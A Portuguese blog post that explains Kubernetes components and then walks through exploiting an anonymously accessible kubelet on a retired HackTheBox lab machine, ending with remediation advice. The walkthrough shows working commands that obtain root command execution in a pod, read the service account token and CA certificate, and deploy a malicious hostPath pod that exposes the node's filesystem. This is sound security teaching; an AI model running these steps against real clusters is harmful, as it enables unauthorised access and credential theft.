Explorando a api do kubernetes
Tags: kubernetes, containers, security, devops
Published: 2023-11-19 15:02:23

## O que é o Kubernetes?

O Kubernetes é um orquestrador de containers com foco em automatizar a implantação e gerencia automatizada de software. Foi criado pela Google e cedido a Cloud Native Computing Foundation como um projeto Open Source.


![Arquitetura do Kubernetes](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8f06dxb1ipbqxrkj6gtf.png)

O kubernetes possui o **control plane**, onde realiza as decisões globais como realizar schedule de recursos (**kube-schedule**), detecta e executa eventos para todo o cluster (**kube-controller-manager**), armazena as informações sobre os recursos do cluster (**etcd**) e possuí seu http endpoint de acesso que pode ser público ou privado (**kube-apiserver**).

Como o kubernetes trabalha em cluster ele se precisa de outro recurso para se comunicar com os nodes. O recurso em questão é o **kubelet** que é um agent presente em todos os nodes do cluster, ele garante que os pods que o control plane designou para o node executem nas condições especificadas.

Nos nodes também estão presentes o **kube-proxy** que é responsável pelas regras de rede dos recursos presentes no node e o **Container Runtime** responsável pela criação dos containers dos respectivos pods. Um detalhe importante que o **docker** era o **Container Runtime** padrão, mas a partir da versão 1.24 do kubernetes passou a ser o **containerd**, que o docker usava por baixo dos panos, eliminando assim uma camada.

O nosso foco será no **kubelet** e **kube-apiserver**, onde iremos explorar um erro comum de configuração.

O kubernetes ele não é seguro por padrão, ou seja, é necessário realizar configurações de segurança para restringir o acesso a seus recursos. Muita das vezes não é restrito o acesso a usuários padrões e esse é o caso do acesso anônimo.

O **anonymous access** como é referido na documentação do kubernetes é habilitado no **kube-apiserver** através da seguinte flag setada como true:

```
--anonymous-auth=true
```

Caso este parâmetro não esteja disponível nas configurações presuma que esta **habilitado**.

Este é um vetor de ataque que esta sendo ativamente explorado visando coleta de informações, segredos, mineração de criptomoedas e leaks, como podemos ver neste artigo publicado em 09/08/2023:
[Malicious Campaigns exploit Weak Kubernetes Clusters for Crypto](https://thehackernews.com/2023/08/malicious-campaigns-exploit-weak.html)

Apesar de público, o acesso anônimo não disponibiliza acesso a muitos recursos do clusters, visto que após a **autenticação** é necessário que o usuário tenha **autorização** para acessar os recursos do kubernetes. O kubernetes possui políticas (RBAC) que limite o acesso anônimo a endpoints comuns como o **/version** por exemplo.

No entanto em alguns casos estas regras de **autorização** não estão sendo configuradas devidamente, permitindo que o acesso anônimo consiga criar workloads no kubernetes. E é isso que iremos ver agora.

### Explorando um alvo

A demonstração deste tipo de vulnerabilidade será feita em um ambiente controlado, através de um máquina retired do **Hackthebox**.

O hackthebox é uma plataforma para treinamento de segurança e CTF, possuindo diversos ambientes, máquinas, trilhas e desafios com foco em pentest, red team e blue team.

Para esta demo iremos utilizar uma máquina chamada **SteamCloud**.

Em primeiro momento nos é disponibilizado o endereço ip da mesma e iremos realizar um scan utilizando **nmap** para verificar quais portas estão abertas no alvo:

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# nmap -sV -Pn -sC 10.129.138.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 18:09 EDT
Nmap scan report for 10.129.138.209
Host is up (0.33s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA)
|   256 46832b1b01db71646a3e27cb536f81a1 (ECDSA)
|_  256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.138.209, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-07-21T21:46:58
|_Not valid after:  2024-07-20T21:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
2380/tcp  open  ssl/etcd-server?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.138.209, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-07-21T21:46:58
|_Not valid after:  2024-07-20T21:46:58
8443/tcp  open  ssl/https-alt
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 30433f12-a711-4292-b944-5c81dd5fd6d5
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:38 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 0f21c6c0-f5e4-4a3e-8c19-fbb27a136219
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:33 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 136aa56a-0022-4991-8edc-4f5659678a84
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:36 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.138.209, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-07-20T21:46:56
|_Not valid after:  2026-07-20T21:46:56
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1689976020
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-07-21T20:47:00
|_Not valid after:  2024-07-20T20:47:00
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
```

Podemos notar que a porta **10250** esta aberta. Esta porta pertence ao **kubelet**. Podemos testar se conseguimos acesso utilizando o curl:

```
curl --insecure https://10.129.138.209:10250/pods
```


Ou para uma melhor análise podemos usar uma ferramenta que automatiza esse tipo de análise e exploração chamada **[kubeletctl](https://github.com/cyberark/kubeletctl)**.

O kubeletctl é um cli para acessar o kubelet que automatiza análises de segurança, que de acordo com sua documentação possui as seguintes funcionalidades:

- Run any kubelet API call
- Scan for nodes with opened kubelet API
- Scan for containers with RCE
- Run a command on all the available containers by kubelet at the same time
- Get service account tokens from all available containers by kubelet
- Nice printing :)

Nesta demo estamos utilizando o binário na versão 1.7:
[kubeletctl_linux_amd64](https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64)

E com isso podemos listar os pods rodando na namespace default:

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 pods
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-proxy-xxlrb                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ coredns-78fcd69978-p6tv6           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
```

Podemos também procurar por vulnerabilidades, como neste caso um **Remote Command Execution** (RCE):

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 scan rce
┌───────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                    Node with pods vulnerable to RCE                                   │
├───┬────────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP        │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │                │                                    │             │                         │ RUN │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.129.138.209 │ nginx                              │ default     │ nginx                   │ +   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │                │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │                │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │                │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │                │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │                │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │                │ kube-proxy-xxlrb                   │ kube-system │ kube-proxy              │ +   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │                │ coredns-78fcd69978-p6tv6           │ kube-system │ coredns                 │ -   │
└───┴────────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
```

Note que o pod nginx possui permissão para execução de comandos, com isso podemos utilizar o **kubectl** (client para acesso a kube-apiserver) para interagir com o pod.

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)
```

Agora que temos um RCE podemos buscar os certificados que o pod usa, desta forma conseguimos escalar privilégios!

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# export token=$(./kubeletctl --server 10.129.138.209 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ca.crt
```

Salvando o token do **serviceaccount** que o pod usa e o certificado conseguimos ter as mesmas permissões que o pod possui.

O **serviceaccount** é utilizado como meio de vincular permissões (Roles ou ClusterRoles) a um recurso do kubernetes (pod, deployment e etc).

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl get pods --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          63m
```

Podemos listar nossas permissões e assim realizar uma movimentação lateral ou continuar escalando privilégios:

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl auth can-i --list --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
```

Através da listagem de permissões e autorização acima notamos que podemos criar um pod. E isso é um grande problema!

Podemos criar um pod malicioso no qual iremos acessar o node. Para isso basta montar um volume mapeando o que queremos acessar no node. Neste caso iremos mapear o diretório /root.

```
apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

Agora basta criar o pod malicioso:

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl apply -f f.yml  --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
pod/nginxt created
```

E ao listar o conteúdo do nosso novo pod malicioso:

```
┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubectl --server 10.129.138.209 exec "ls -a" -p nginxt -c nginxt
.   .dockerenv  boot  etc   lib    media  opt   root  sbin  sys  usr
..  bin         dev   home  lib64  mnt    proc  run   srv   tmp  var

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubectl --server 10.129.138.209 exec "ls -a /root" -p nginxt -c nginxt
.     dev         initrd.img.old  libx32      opt   sbin  usr
..    etc         lib             lost+found  proc  srv   var
bin   home        lib32           media       root  sys   vmlinuz
boot  initrd.img  lib64           mnt         run   tmp   vmlinuz.old
```

Com isso temos acesso total ao sistema de arquivos de node!

E com acesso ao node podemos agora procurar formas de nos mover lateralmente no cluster ou na rede interna, mapear volumes, sockets e etc.

### E como resolver esse problema?

Em clusters em que não temos acesso ao control plane, que são gerenciados por clouds (GKE, AKS, EKS), por exemplo, podem ser verificadas regras e permissões relacionadas ao anonymous access e desabilitadas/removidas.

Já em clusters gerenciados (kubeadm, kubespray, rancher) pode ser feito o ajuste da para false da flag:

```
--anonymous-auth=false
```

Lembrando que caso alguma aplicação que utilize os endpoints que seja através do anonymous access devem ser ajustadas, criando um acesso com as devidas permissões para isso.